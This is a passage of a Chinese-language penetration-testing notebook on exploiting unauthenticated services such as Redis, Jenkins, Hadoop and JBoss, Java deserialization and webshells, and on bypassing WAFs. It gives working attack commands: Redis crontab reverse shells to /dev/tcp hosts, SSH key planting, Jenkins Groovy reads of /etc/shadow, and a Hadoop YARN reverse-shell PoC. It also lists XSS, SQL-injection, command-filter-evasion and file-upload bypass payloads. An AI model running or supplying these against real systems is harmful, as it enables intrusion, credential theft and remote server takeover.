172.16.x.x:6379 > CONFIG GET dir 1) "dir" 2) "/usr/local/var/db/redis" 172.16.x.x:6379 > CONFIG set dir /tmp/ OK 172.16.x.x:6379 > SET foobar "who are you? Rvnoxsy" OK 172.16.x.x:6379 > CONFIG GET dbfilename 1) filename 2) dump.rab 172.16.x.x:6379 > CONFIG SET dbfilename write_file.log OK 172.16.x.x:6379 > save OK反彈shell-Linux
127.0.0.1:6379 > set shell "\n* * * * * bash -i >& /dev/tcp/1.1.1.1/88 0>&1\n" OK 127.0.0.1:6379 > config set dir /var/spool/cron/ OK 127.0.0.1:6379 > config set dbfilename root OK 127.0.0.1:6379 > save [238] xx May xx:xx:xx DB saved on disk OK寫入公鑰
生成公鑰:
操作完記得情況數據庫
172.16.x.x:6379 > FLUSHALL2.2.2.1未授權漏洞總結
未授權漏洞
Redis
計劃任務反彈shell
利用計劃任務執行命令反彈shell
在redis以root權限運行時可以寫crontab來執行命令反彈shell
先在自己的服務器上監聽一個端口
然后執行命令:
redis-cli -h 192.168.x.x 192.168.x.x:6379 > set x "\n* * * * * bash -i >& /dev/tcp/192.168.x.x/6666 ... 192.168.x.x:6379 > config set dir /var/spool/cron/ 192.168.x.x:6379 > config set dbfilename root 192.168.x.x:6379 > save寫入公鑰
獲取rsa
將公鑰寫入foo.txt,注意內容前后要加2個換行
echo -e "\n\n"; cat /root/ssh/id_rsa.pub; echo -e "\n\n") > foo.txt將foo.txt放入鍵crackit里
cat foo.txt redis-cli -h IP -x set crackit連接目標
redis-cli -h Ip設置目標的redis的配置文件
設置數據庫備份目錄為/root/.ssh/
設置數據庫備份文件名為authorized_keys
192.168.X.X:6379 > config set dbfilename authorized_keys此時公鑰成功寫入目標機子,文件名為authorized_keys
192.168.x.x:6379 > save利用私鑰鏈接目標
ssh -i /root/.ssh/id_rsa root@192.168.x.x set x "\n\n\n參考資料:
https://segmentfault.com/a/1190000009811404 https://github.com/andymccurdy/redis-pyJenkins
默認是8080端口未授權訪問就是任意用戶都能訪問都能執行命令
127.0.0.1:8080/jenkins/manage 127.0.0.1:8080/jenkins/script常用命令集合:
println "whoami".execute().textLinux:
println ifconifg -a".execute().text println "cat /etc/passwd".execute().text printin"cat /etc/shadow".execute().textWindows:
println "ipconfig /all".execute().text def sout = new StringBuffer(), serr = new StringBuffer() def proc = 'ipconfig'.execute() proc.consumeProcessOutput(sout, serr) proc.waitForOrKill(1000) println "out> $sout err> $serr"靶機有漏洞復現,遇到了執行命令即可…
Mongodb
利用可視化工具連接默認端口:28017
推薦Robo3t 1.1 即可
python mongodb_unauth.py
coding:utf-8 mongodb未授權檢測腳本 usage: python3 mongodb_unauth.py ip port 默認端口28017和27017from pymongo import MongoClient import sysip = sys.argv[1] port = int(sys.argv[2]) try:conn = MongoClient(ip, port, socketTimeoutMS=5000) #連接 MongoDB,延時5秒dbs = conn.database_names()print('[ok] -> {}:{} database_names : {}'.format(ip, port, dbs))conn.close() except Exception as e:error = e.argsprint('[-] -> {}:{} error : {}'.format(ip, port, error)) python3 mongodb_unauth.py 192.168.175.1 27017ZooKeeper
默認端口:2181、2171
ls / #查看所有節點 get / #獲取某個節點信息參考資料:
https://blog.csdn.net/lihao21/article/details/51778255 https://www.cnblogs.com/wushijin/p/11654076.html腳本檢測
# coding=utf-8 import socketdef get_plugin_info():plugin_info = {"name": "Zookeeper未授權訪問","info": "Zookeeper Unauthorized access","level": "中危","type": "未授權訪問","author": "c4bbage@qq.com","url": "https://hackerone.com/reports/154369","keyword": "server:Zookeeper","source": 1}return plugin_infodef check(ip, port, timeout):try:socket.setdefaulttimeout(timeout)s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((ip, int(port)))flag = "envi"# envi# dump# reqs# ruok# stats.send(flag)data = s.recv(1024)s.close()if 'Environment' in data:return u"Zookeeper Unauthorized access"except:passdef main():ip = "1.1.1.1"print check(ip, 2181, 2)if __name__ == '__main__':main() https://github.com/ysrc/xunfeng/tree/master/vulscan/vuldbElasticsearch
默認端口:9200
http://localhost:9200/_plugin/head/ web管理界面 http://localhost:9200/_cat/indices htp:// localhost:9200/_river/_search 查看數據庫敏感信息 http://localhost:9200/_nodes 查看節點數腳本檢測:
# coding:utf-8 # elasticsearch未授權檢測腳本 # author:ske # usage: python3 elasticsearch_unauth.py ip port # 默認端口9200 # http://localhost:9200/_plugin/head/ web管理界面 # http://localhost:9200/_cat/indices # http://localhost:9200/_river/_search 查看數據庫敏感信息 # http://localhost:9200/_nodes 查看節點數據import sys from elasticsearch import Elasticsearch import requests import jsonip = sys.argv[1] port = int(sys.argv[2]) # 9200 try:es = Elasticsearch("{}:{}".format(ip, port), timeout=5) # 連接Elasticsearch,延時5秒es.indices.create(index='unauth_text')print('[+] 成功連接 :{}'.format(ip))print('[+] {} -> 成功創建測試節點unauth_text'.format(ip))es.index(index="unauth_text", doc_type="test-type", id=2, body={"text": "text"})print('[+] {} -> 成功往節點unauth_text插入數據'.format(ip))ret = es.get(index="unauth_text", doc_type="test-type", id=2)print('[+] {} -> 成功獲取節點unauth_text數據 : {}'.format(ip, ret))es.indices.delete(index='unauth_text')print('[+] {} -> 清除測試節點unauth_text數據'.format(ip))print('[ok] {} -> 存在ElasticSearch未授權漏洞'.format(ip))print('嘗試獲取節點信息:↓')text = json.loads(requests.get(url='http://{}:{}/_nodes'.format(ip, port), timeout=5).text)nodes_total = text['_nodes']['total']nodes = list(text['nodes'].keys())print('[ok] {} -> [{}] : {}'.format(ip, nodes_total, nodes))except Exception as e:error = e.argsprint('[-] -> {} error : {}'.format(ip, error)) python3 elasticsearch_unauth.py 192.168.1.4 9200Memcache
默認端口11211
提示連接成功表示漏洞存在
telnet <target> 11211,或 nc -vv <target> 11211Memcached端口是對外開放的,用nc或Telne可以直接登錄,查看信息,增加修改都可以
修復建議
參考
https://www.cnblogs.com/mrhonest/p/10881389.htmlHadoop
Hadoop是一個由Apache基金會所開發的分布式系統基礎架構
用戶可以在不了解分布式底層細節的情況下,開發分布式程序
充分利用集群的威力進行高速運算和存儲
在默認情況下,Hadoop允許任意用戶訪問管理接口
poc:
#!/usr/bin/env pythonimport requeststarget = 'http://127.0.0.1:8088/' lhost = '192.168.220.137' # put your local host ip here, and listen at port 9999url = target + 'ws/v1/cluster/apps/new-application' resp = requests.post(url) app_id = resp.json()['application-id'] url = target + 'ws/v1/cluster/apps' data = {'application-id': app_id,'application-name': 'get-shell','am-container-spec': {'commands': {'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,},},'application-type': 'YARN', } requests.post(url, json=data) 修改exploit.py中的反彈IP python exploit.pyHDFS
NameNode 默認端口 50070 DataNode 默認端口 50075 httpfs 默認端口 14000 journalnode 默認端口 8480YARN (JobTracker )
ResourceManager 默認端口 8088 Jobtracker 默認端口 50030 TaskTracker 默認端口 50060Hue默認端口8080
YARN(JobTracker)
master 默認端口 6001 regionserver 默認端口 60030hive- server2默認端口1000
spark- jdbcserver默認端口10003
開啟身份驗證,防止未經授權用戶訪問
Couchdb
默認端口5984
在local.ini配置中:
bind_address = 設置為0.0.0.0則存在未授權訪問
直接加端口進行訪問即可
exp:
Ldap
使用工具ldap admin直接連接即可
防御措施:
https://www.cnblogs.com/mrhonest/p/10948657.html --建議 https://blog.csdn.net/u011607971/article/details/86378361 --管理方法未授權漏洞總結:
https://github.com/f1veT/VulScan/find/master --Vulscan https://github.com/ysrc/xunfeng/tree/master/vulscan/vuldb --vuldb2.2.2.2 JBOSS未授權訪問
Jboss未授權訪問
vulhub漏洞平臺可以復現,啟用環境位置:vulhub-jboss-cve-2017-7504
docker-compose up -d訪問8080端口無賬號密碼就可進入
linux-kali-exp
git clone https://github.com/joaomatosf/jexboss cd jexboss python jexboss py python3 jexboss.py IP+port執行工具會依次檢測一下項目,有漏洞就會顯示紅色的: VULNERABLE(易受攻擊的),工具就會根據找到容易受到攻擊的點,進行利用
然后選擇YES,就可以獲得shell了
2.2.3 遠程代碼執行漏洞
2.2.3.1 Java下奇怪的命令執行
前言
使用ProcessBuilder
ProcessBuilder pb=new ProcessBuilder(cmd); pb.start();使用Runtime
Runtime.getRuntime().exec(cmd)也就是說上面cmd參數可控的情況下,均存在命令執行的問題。但是話題回來,不太清楚大家是否遇到過java命令執行的時候,無論是windows還是linux環境下,帶有 |,<,> 等符號的命令沒辦法正常執行。所以今天就進入底層看看這兩個東西
差別
這里只講解下跟進 java. lang, Runtime#exec的構造方法,exec的構造方法有以下幾種情況,其實根據傳入的變量我們大概可以區分的了,一個是根據 String command,也就是直接傳入一個字符串,另一個是根據 String cmdarrayu[],也就是傳入一個數組
需要知道Runtime.getRuntime{}.exec{} 的底層實際上也是 ProcessBuilder
getRuntime{}.exec{} 如果直接傳入字符串會經過String Tokenizer的分割,進而破壞其原本想要表達的意思
https://codewhitesec.blogspot.com/2015/03/sh-or-getting-shell-environment-from.html
詳細了解下這篇文章的講解
總結:
其實java已經盡量規避命令執行的安全問題,JDK沙盒機制會進行 checkExec,執行命令的機制就是僅僅檢查并執行命令數組中的第一個,而分隔符后面的所有東西都是默認為被執行程序的參數,所以 getRuntime().exec() 通過傳入字符串執行命令的時候,應該盡量避免使用空格,用了空格可能會改變這條命令本身想要表達的意思
所以在Java下如果遇到復雜的命令執行,且參數只能如下所示,且只有一個位置可以控制的話,建議使用base64的編碼方式,windows下可以使用 powershll的base64
Java的反序列化框架利用框架yso,以及一些shiro這類反序列化導致的命令執行實際上很多是用了getRuntime來達到命令執行的目的,且就像我們上面說的,可控位置比較固定,執行復雜命令會出現執行不了
Reference
sh-or-getting-shell-environment-from2.2.3.2 Shiro反序列化記錄
漏洞搭建安裝和復現:
https://cloud.tencent.com/developer/article/1078421 https://blog.knownsec.com/2016/08/apache-shiro-java/Reference
Pwn a CTF Platform with Java JRMP Gadget
https://blog.orange.tw/2018/03/pwn-ctf-platform-with-java-jrmp-gadget.html https://open.appscan.io/article-862.html https://www.jianshu.com/p/f10ad968e1b2強網杯“彩蛋— Shiro1.2.4(SHRO550)漏洞之發散性思考
該鏈接已失效,可查看書籍Apache Shiro Java反序列化漏洞分析
https://blog.knownsec.com/2016/08/apache-shiro-java/ https://bacde.me/post/Apache-Shiro-Deserialize-Vulnerability/知識盲區,需要腦補!!!!!
2.2.3.3 RMI-反序列化
參考
RM官方文檔
知識盲區,需要腦補!!!!!
2.2.3.4 JNDI注入
參考:(哎,知識盲區,加油腦補)
https://www.freebuf.com/vuls/115849.html --Jndi注入及Spring RCE漏洞分析 https://www.veracode.com/blog/research/exploiting-jndi-injections-java --在Java中利用JNDI注入 https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html --如何繞過高版本JDK的限制進行JNDI注入利用RPC
https://www.jianshu.com/p/2accc2840a1b --如何給老婆解釋什么是RPC https://www.freebuf.com/column/189835.html ---深入理解JNDI注入與Java反序列化漏洞利用ldap
https://www.cnblogs.com/wilburxu/p/9174353.html --LDAP概念和原理介紹 https://www.jianshu.com/p/7e4d99f6baaf --LDAP入門 https://blog.csdn.net/caoyujiao520/article/details/82762097 --LDAP入門使用2.2.3.5 fastjson漏洞淺析
前言
Fastion是一個Java語言編寫的高性能功能完善的JSON庫。它采用一種“假定有序快速匹配"的算法,把JS0N Parse的性能提升到極致,是目前Java語言中最快的JSON庫。 Fastjson接口簡單易用,已經被廣泛使用在緩存序列化、協議交互、We輸出、 Android客戶端等多種應用場景
參考鏈接
https://www.freebuf.com/column/207439.html ---如何繞過高版本JDK的限制進行JNDI注入三個fastjson1.2…版本的poc,需要花很多時間來學習!!!
2.2.3.6 CVE-2019-11043 PHP遠程代碼執行復現
簡介
相信大家都在滿天的公眾號預警里面看過很多,這里就一筆帶過
2019年10月22日,國外安全研究員公開了一個PHP-FPM遠程代碼執行的漏洞EXP
該漏洞是 Andrew Danau在某比賽解決一道CTF題目時發現,向目標服務器URL發送%0a符號時,服務返回異常發現的漏洞
2019年9月26日,PHP官方發布漏洞通告其中指出使用 Nginx + php-fpm的服務器在部分配置下存在遠程代碼執行漏洞且該配置已被廣泛使用,危害較大,影響較為廣泛相關工具已經公開
Github地址如下:
https:/github.com/neex/phuip-fpizdam方法很多,我會寫出來…后補!!!
2.2.3.7 java webshell從入門到入獄系列1-基礎篇
本系列文章純探討技術交流,請勿使用本文探的技術構造惡意webshel非法入侵他人網站
前言
本系列,主要從webshell基礎、 webshell的bypass技術(關鍵字、流量層、hook點逃逸)、后滲透的webshell維權(基于容器特性的隱式webshell、內存shell等)等方面和大家交流java中webshe‖的形式
基礎
java webshell種類
現在大部分中間件容器,所能支持解析的后綴,主要是jsp,jspx 兩種動態腳本為主,比如 tomcat容器中,默認能支持解析的動態腳本已經默認寫在配置中了
<jsp-config> <jsp-property-group> <url-pattern>*.jspx</url-pattern> <url-pattern>*.jsp</url-pattern><scripting-invalid>true</scripting-invalid> </jsp-property-group> </jsp-config>在目前常見的 webshel的后門種類,主要分如下幾類:
各種客戶端的一句話 webshll (比如菜刀、冰蝎、蟻劍、c刀等常見客戶端)、專門負責數據傳輸的webshell(與數據庫進行交互)、Tune后門(基于 socks5協議的 reGeorg之類的)、小馬(單純的進行命令執行、單純的進行文件管理/上傳等功能)、大馬(集成了文件管理、命令執行、數據庫連接等多功能性大馬)
java執行命令方式
在這節我們拿最基礎的命令執行的來討論,如何用多種方式寫我們的負責命令執行的webshell
在java中,常見的能夠執行命令的方式
java基礎的webshell命令執行方式
使用 java runtime exec()
第一種常見的使,用 java.lang.Runtime 類進行執行系統命令,該方法也是目前市面上各種靜態查殺 webshell 輔助工具首要盯著的目標,需要注意的是win 下和linux 需要區別對待,以及當使用多個命令組合使用注意坑。下面我們來看看代碼。使用 Runtime類,調用exec執行命令返回一個Process對象,然后啟一個 BufferedReader類,對返回的結果進行保存回顯處理。執行exec的時候需要特別注意,帶有|,<,> 等符號的命令需要使用如下代碼的方式進行執行,要不然容易出錯
講解了webshell大部分能利用的機制:
Java 執行系統命令的方法和原理
用 ProcessBuilder 繞過檢測
使用 Java 反射機制繞過檢測
使用 Java 類加載機制繞過檢測
獲得 Class 對象的四種方法
非常詳細…
https://javasec.org/javase/ --安全門熟悉下Java反射基礎:
定義:
java反射機制是在運行狀態中,對于任意一個類,都能夠知道這個類的所有屬性和方法;對
于任意一個對象,都能夠調用它的任意方法和屬性;這種動態獲取信息以及動態調用對象的功能稱為java語言的反射機制
java反射涉及的類:
cass類:代表類的實體,在運行的Java應用程序中表示類和接口 Field類:代表類的成員變量(類的屬性) Method類:代表類的方法 Constructor類:代表類的構造方法Class類中常見使用的
1)獲取的類中的方法
for Name(String className):根據類名返回類的對象
getName():獲得類的完整路徑名字
2)獲取類中屬性相關
getFields():獲得所有公有的屬性對象
getDeclaredFields():獲得所有屬性對象(帶Declared的可以獲取到私有private)
3)獲得類中方法
getMethods():獲得該類所有公有的方法
getDeclaredMethod( String name, Class…<?> parameterTypes):獲得該類某個方法
getDeclaredMethods():獲得該類所有方法
Fed類常見使用的
equals(Object obj):屬性與ob相等則返回true
get(Object obj):獲得obj中對應的屬性值
set(Object obj, Object value):設置obj中對應屬性值
Method類
invoke(object obj, Object…args) 傳遞 object對象及參數調用該對象對應的方法
Constructor類
newInstance(Object…initargs):根據傳遞的參數創建類的對象
2.2.3.8 深究XMLdecoder (dayu-Third day)
Oracle關于這個 xmldecoder造成的漏洞的CVE編號分別是CVE2017-3506、CVE2017-10271、CVE2019-2725
最早關于CVE2017-3506的補丁只是根據 object標簽進行了限制
而根據文章中講解的繼承關系 object替換成void即可,它們實際上是不受影響的,因此便出現了CVE-2017-10271,而針對CVE-2017-10271的補丁限定了所有具有執行的節點
但這次CVE-2019-2725主要是class標簽,class標簽可代替 object標簽來生成對象,因此這次漏洞本質還是 xmldecoder的問題,而補丁也是針對class標簽來處理的
https://blog.csdn.net/fnmsd/article/details/89889144 --fnmsd作者-XMLDecoder解析流程分析 https://www.anquanke.com/post/id/180725 ---淺談Weblogic反序列化——XMLDecoder的繞過史只是盲區,需要腦補!!!!
2.2.3.9 FastJson 反序列化學習
這篇文章總結的非常好:
http://www.lmxspace.com/2019/06/29/FastJson-反序列化學習/Reference
fastjson-remote-code-execute-poc: https://github.com/shengqi158/fastjson-remote-code-execute-pocFastjson 1.2.24反序列化漏洞分析: https://www.freebuf.com/vuls/178012.htmlFastjson反序列化漏洞研究: https://www.cnblogs.com/mrchang/p/6789060.htmlFastjson反序列化之TemplatesImpl調用鏈: https://p0rz9.github.io/2019/05/12/Fastjson反序列化之TemplatesImpl調用鏈/2.2.3.10 Oracle 數據庫安全思考之xml反序列化
學習文章非常詳細:
https://my.oschina.net/u/4587690/blog/4452199參考:
http://obtruse.syfrtext.com/2018/07/oracle-privilege-escalation-via.html2.2.3.11 Webshell繞安全模式執行命令
繞過方法總結:
http://www.91ri.org/8700.htmlEXP和poc:
https://github.com/yangyangwithgnu/bypass_disablefunc_via_ld_preload2.2.3.12 Java 下的XEE漏洞
該文章講解了java xml下大部分的XEE漏洞原因和防御:
http://www.lmxspace.com/2019/10/31/Java-XXE-總結/ --詳細看看 https://xz.aliyun.com/t/3372 --有多余時間可以看看Reference
Java XXE注入修復問題填坑實錄: https://mp.weixin.qq.com/s/bTeJYzUN9T1u-KDZON5FiQ修不好的洞,JDK的坑——從WxJava XXE注入漏洞中發現了一個對JDK的誤會: https://mp.weixin.qq.com/s/bTeJYzUN9T1u-KDZON5FiQXML_External_Entity_Prevention_Cheat_Sheet: https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html#Java一個被廣泛流傳的XXE漏洞錯誤修復方案: https://gv7.me/articles/2019/a-widely-circulated-xxe-bug-fix/JAVA常見的XXE漏洞寫法和防御: https://blog.spoock.com/2018/10/23/java-xxe/2.2.3.13 Solr Velocity模板遠程代碼復現及利用指南
https://www.secpulse.com/archives/117281.html --詳細復現防御 https://www.cnblogs.com/bmjoker/p/11778478.html https://govuln.com/topic/501/ --P牛解釋2.2.3.14 Solr-RCE-via-Velocity-template
http://www.lmxspace.com/2019/11/03/Solr-RCE-via-Velocity-template/Reference
用Intellij idea搭建solr調試環境: https://www.jianshu.com/p/4ceeb2c20002http://lucene.apache.org/solr/guide/6_6/velocity-response-writer.html2.2.3.15 java webshell 從入門到入獄系列2-攻防對抗之Bypass-上篇
1)java反射bypass
2)反射的進階版,通過結合利用byte字節碼+反射的方式完全無任何痕跡的反射回顯命令執行馬
3)java 后門-unicode編碼
2.2.3.16 java webshell 從入門到入獄系列3-攻防對抗之Bypass-中篇
其他姿勢載入webshell的技巧tip
JavaWeb 隨機后門(遠程下載文件)
Java URLClassLoader 動態加載jar包 webshell
openrasp (開源應用運行時自我保護)Bypass
2.2.3.17 java webshell 從入門到入獄系列4-攻防對抗之Bypass-下篇
各家廠商早期針對流量層查殺 webshel的原理:
https://xz.aliyun.com/t/65502.2.3.18 Java反序列化過程深究(dayu-fourth day)
https://www.sohu.com/a/357066711_257305CVE-2017-3248
CVE-2017-3248
防護建議
可以在resolveclass和resovleproxyclass增加一些反序列化利用類的黑名單檢查2.2.3.19 Apache Slor不安全配置遠程代碼執行漏洞復現及jmx rmi利用分析
CVE-2019-12409
https://wemp.app/posts/008ae6ed-9eee-4fc4-911c-7c603c8b884a?utm_source=bottom-latest-posts該文章詳細講解復現!!!
2.2.3.20 java命令執行小細節
http://www.baizhiedu.com/article/1029學習查看知識點,廣告可以忽視!!!
2.2.3.21 JDK反序列化Gadgets-7u21
https://xz.aliyun.com/t/6884詳細,真詳細的文章!!
參考
https://www.freebuf.com/vuls/175754.htmlhttps://b1ue.cn/archives/176.htmlhttps://gist.github.com/frohoff/24af7913611f8406eaf3https://sec.xiaomi.com/article/41https://www.cnblogs.com/rickiyang/p/11336268.html ---javassist使用全解析2.2.3.22 Weblogic-T3-CVE-2019-2890-Analysis
https://xz.aliyun.com/t/6904詳細復現!!
2.2.3.23 spring-boot-actuators未授權漏洞
https://www.jianshu.com/p/3162ce30a853 https://www.veracode.com/blog/research/exploiting-spring-boot-actuators2.2.3.24 SEMCMS2.6后臺文件上傳漏洞審計
https://www.cesafe.com/html/6190.html https://www.yir6.cn/Web/347.html --Admin/SEMCMS_Upfile.php代碼分析2.2.3.25 代碼審計之lvyecms后臺getshell
https://www.wenwenya.com/anquan/516051.html https://webcache.googleusercontent.com/search?q=cache:9JJuN-bvrgwJ:https://www.secshi.com/22396.html+&cd=3&hl=zh-CN&ct=clnk&gl=hk2.2.3.26 Log4j-Unserialize-Analysis
https://xz.aliyun.com/t/7004 https://my.oschina.net/u/4587690/blog/4452130兩篇文章內容一致!詳細介紹了CVE-2019-17571、CVE-2017-5645
2.2.3.27 JAVA反序列化- FastJson組件
https://xz.aliyun.com/t/7027非常難,內容非常多!!!加油!!!這塊比較難
2.2.3.28 Spring-securiy-oauth2 (CVE-2018-1260)
https://blog.spoock.com/2018/05/13/cve-2018-1260/文章內容復現類似,可分析查看…
2.2.4 WAF-bypass(dayu-Fifth day)
找真實IP,繞過CDN
云waf一般可以通過此方法繞過
識別CDN
ping www.baidu.com dig www.baidu.com nslookup www.baidu.com或者使用站長工具查看IP是否唯一等
尋找真實的IP
DNS歷史解析記錄
尋找DNS歷史記錄,找到后修改hos文件即可:
RSS郵箱訂閱,查看郵件源碼
一般也會得到真實的IP地址,通過rss訂閱的方式,可以查找到訂閱的消息中真實IP
或者在原始信息-頭信息中(unknown[xx.xx.xx.xxIP])信息
服務器向外請求(DNSLOG)
https://www.cnblogs.com/Xy--1/p/12896599.html同網段子域名信息
DNS服務器域名信息:
https降級繞過
參考文章:https://zhuanlan.zhihu.com/p/202628255
ssl問題繞過
所以選用一個WAF不支持但是服務器支持的算法,選用TLSv1 256 bits ECDHE-RSA-AES256-SHA。就可以是WAF無法識別導致繞過
curl --ciphers ECDHE-RSA-AES256-SHA https://waf-test.lab.local/ssl-cipher-test
WAF支持的算法如下:
SSLv3
TLS/1.0-1.2
TLS_RSA_WITH_NULL_SHA256TLS_RSA_WITH_AES_128_CBC_SHATLS_RSA_WITH_AES_256_CBC_SHATLS_RSA_EXPORT1024_WITH_RC4_56_MD5TLS_RSA_EXPORT1024_WITH_RC4_56_SHATLS_RSA_WITH_AES_128_CBC_SHA256TLS_RSA_WITH_AES_256_CBC_SHA256TLS_RSA_WITH_RC4_128_MD5 = { 0x000x04 }TLS_RSA_WITH_RC4_128_SHA = { 0x000x05 }TLS_RSA_WITH_DES_CBC_SHA = { 0x000x09 }參考文章:
http://xdxd.love/2018/09/10/利用SSL問題繞過WAF文章分析/method 繞過
1)改變method,get改post,post 改上傳(還有cookies傳值)
2)改變method為不規則,比如改get,post為HELLLOXX等(某些apache版本)
**
Heard IP 繞過
(一般應用攔截,非WAF)
X-forwarded-for:127.0.0.1 X-remote-IP:127.0.0.1 X-originating-IP:127.0.0.1 x-remote-addr:127.0.0.1x-client-1p:127.0.0.1Heard content-type 繞過
content-type為空 content-type改成其他的 content-type必須指定唯一一個類型,例如 application/ octet- stream(比如安全狗)content-type改成不規則的text/htm1xxxxxxContent-Type:multipart/form-data ; boundary=0000 Content-Type:mUltiPart/ForM-dATa;boundary=0000 Content-Type:multipart/form-datax;boundary=0000 Content-Type:multipart/form-data,boundary=0000 Content-Type:multipart/form-data boundary=0000 content-Type:multipart/whatever;boundary=0000content-Type:multipart/; boundary=0000content-Type: application/octet-stream;XSS
基礎常用的常規語句
?id=alert(document['cookie']) ?id=";location=location.hash)//#0={};alert(0) ?id=%";eval(unescape(location))//#%0Aalert(0) ?id=<script<{alert(1)}/></script> ?id=<img src=x:alert(alt) onerror=eval(src) alt=0>?id=%3cscript%3ealert(1)%3c%2fscript%3c ?id=<a href="javascript#alert(1);">id=%253c%2573%2563%2572%2569%2570%2574%253e%2561%256c%2565%2572%2574%2528%2531%2529%253c%252f%2573%2563%2572%2569%2570%2574%253e?id=<object+data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>?id=1234&"><script>alert(1)</script>=1234 #參數名直接在文件名例如asp、php后加即可繞過
參考文章:
SQL
簡單判別諸如點以及數據庫類型 :
I 數據庫類型丨連接符丨注釋符號丨其他特殊方式丨唯一的默認表變量和函數 I MSSQL| %2B (URL加號編碼) | -- | 待補充丨@@PACK_RECEIVED I MYSQL| %20 (URL空格編碼)丨# / -- | 待補充 | CONNECTION_ID() I Oracle I %7C (URL豎線編碼) | -- 待補充 | BITAND(1,1) I PGsql | %7C (URL豎線編碼) | -- |ad1::int=1 | getpgusername() | Access | %26 (URL與號編碼) | N/A | 待補充 | msysobjects為避免被wa攔截以及封禁P,注入建議不首先使用and以及o語句。
可用如下方式替換:
數字型注入:
?id=2*2?id=4字符型注入,根據上表判斷】
?key=wo'+'rd?key=wo'||'rd?key=wo' 'rdMysql
?id=ord('a')=97 ?id=123+AND+1=1 ?id=123+&&+1=1 ?id='=’?id=123+AND+md5(‘a’)!= md5(‘A’) ?id=123+and+len(@@version)>1 ?id=1’||1=’1 ?id=123‘+like+'123 ?id=123'+not+like+'1234 ?id='aaa'<>'bbb'?id=123/*! union all select version() */-- ?id=123/*!or*/1=1; ?id=(1)union(((((((select(1), hex(hash)from(users)))))))) ---7個+8個括號 ?id=1+union+(select’1‘,concat(login,hash)from+users) ?id=1+%55nion(%53elect 1, 2, 3)-- -?id=1/*!000000union*/select%0d%0a/*asdas/asd asasd*/version() ?id=1 union(select%0aall{x users}from{x ddd})Mysql常用函數
字符串處理:
命令執行
‘ (單引號)以及 \ (反斜杠)繞過
$ echo orleven orleven$ echo o'r'l'e'v'e'n'' oreven $ /b'i'n/c'a't/e't'c/p'a's's'w'd' root: x: 0: 0: root: /root:/bin/bash daemon: x: 1: 1: daemon: /usr/sbin: /usr/sbin/nologin bin: x: 2: 2: bin:/bin: /usr/sbin/nologin $ /b\i\n/c\at /et'c'/pa's'swd root: x: 0: 0: root: /root: /bin/bash daemon: x: 1: 1: daemon: /usr/sbin: /usr/sbin/nologin bin: x: 2: 2: bin:/bin: /usr/sbin/nologin? 、 * 、 [、 ]、 ^、 - 通配符繞過
問號最好只匹配到唯一一條
$ 不存在的符號
cat $u/etc$u/passwd$u root: x: 0: 0: root: /root: /bin/bash daemon: x: 1: 1: daemon: /usr/sbin: /usr/sbin/nologin bin: x: 2: 2: bin: /bin: /usr/sbin/nologin; 分號執行
$ cat /etc/passwd;ls .......mysql:x:110:115:MySQL Serve,,,:/nonexistent:/bin/false a.out go gobuster gopath soft sqlmap.log tool文件上傳繞過
文件名繞過
1)文件名加回車 2)shell.php(%80-%99).jpg 繞過 3)如果有改名功能,可先上傳正常文件,再改名 4)%00 5)00(hex) 6)長文件名(windows 258byte | linux 4096byte ),可使用非字母數字,比如中文等最大程 度的拉長。 7)重命名腳本后綴
Php/php3/php/php5/php6/pht/phpt/phtml asp/cer/asa/cdx/aspx/ashx/ascx/asax jsp/jspx/ispf解析漏洞
服務器特性:
1.會將Request中的不能編碼部分的%去掉
2.Request中如果有unicode部分會將其進行解碼
IIS
lIS6.0兩個解析缺陷:目錄名包含asp、.asa、.cer的話,則該目錄下的所有文件都將按照asp解析
例如:
/abc,asp/1.jpg 會當做 /abc,asp 進行解析
/abc.php/1.jpg 會當做 /abc.php 進行解析
Apache1.X.2.X解析漏洞
Apache在以上版本中,解析文件名的方式是從后向前識別擴展名,直到遇見Apache可識別的擴展名為止
Nginx
以下Nginx容器的版本下,上傳一個在waf白名單之內擴展名的文件shell. jpg,然后以shell.j pg.php進行請求
? Nginx 0.5.* ? Nginx 0.6.* ? Nginx 0.7 <= 0.7.65 ? Nginx 0.8 <= 0.8.37以上Nginx容器?的版本下,上傳?個在waf白名單之內擴展名的文件shell.jpg,然后以shell.jpg%20.php進行請求
? Nginx 0.8.41 – 1.5.6:以上Nginx容器的版本下,上傳一個在waf白名單之內擴展名的文件shell.jpg,然后以shell.jpg%20.php進行請求
PHP CGI 解析漏洞
IIS 7.0/7.5 Nginx < 0.8.3以上的容器版本中默認php配置文件cgi.fix_pathinfo=1時,上傳一個存在于白名單的擴展名文件shell.jpg,在請求時以shell.jpg/shell.php請求,會將shell.jpg以php來解析
https://xz.aliyun.com/t/337系統特性:利用NTFS ADS特性
ADS是NTFS磁盤格式的一個特性,用于NTFS交換數據流。在上傳文件時,如果waf對請求正文的filename匹配不當的話可能會導致繞過
test.asp. test.asp(空格) test.php:1.jpg test.php: $DATA test.php_
參考文章:
協議解析不一致,繞過waf(注入跨站也可嘗試)
因為這種不僅僅存在于上傳之處,注入跨站也可嘗試
垃圾數據
-------------WebkitFormBoundaryFADasdasdasDdasdContent-Disposition: form-data; name="file", filename=abc.php’;aaaaaaaaaaaaaaaa Content-Type: application/octet-stream;<?php phpinfo(); ?> -------------WebkitFormBoundaryFADasdasdasDdasd文件類型繞過/Header 頭類型
修改文件類型繞過/Header頭的Content-Type,多次嘗試:
Content-Type:application/x-www-form-urlencoded;Content-Type:multipart/form-data; Content-Type:application/octet-stream;未解析所有文件
multipart協議中,一個POST請求可以同時上傳多個文件。如圖,許多WAF只檢查第一個上傳文件,沒有檢查上傳的所有文件,而實際后端容器會解析所有上傳的文件名,攻擊者只需把paylaod放在后面的文件PART,即可繞過
不規則Content-Disposition文件名覆蓋
-------------WebkitFormBoundaryFADasdasdasDdasdcontent-Dispositiona:form-data; name="file"; filename='abc.jpg' Content-Disposition:form-data; name="file"; filename=abc.php'Content-Type: application/octet-stream; <?php phpinfo(); ?> -------------WebkitFormBoundaryFADasdasdasDdasdhttps://weibo.com/ttarticle/p/show?id=2309404007261092631700
文章講解了Content-Disposition各種不規則繞過方法
boundary 繞過
boundary邊界不一致(Win2k3 + llS6.0 + ASP)
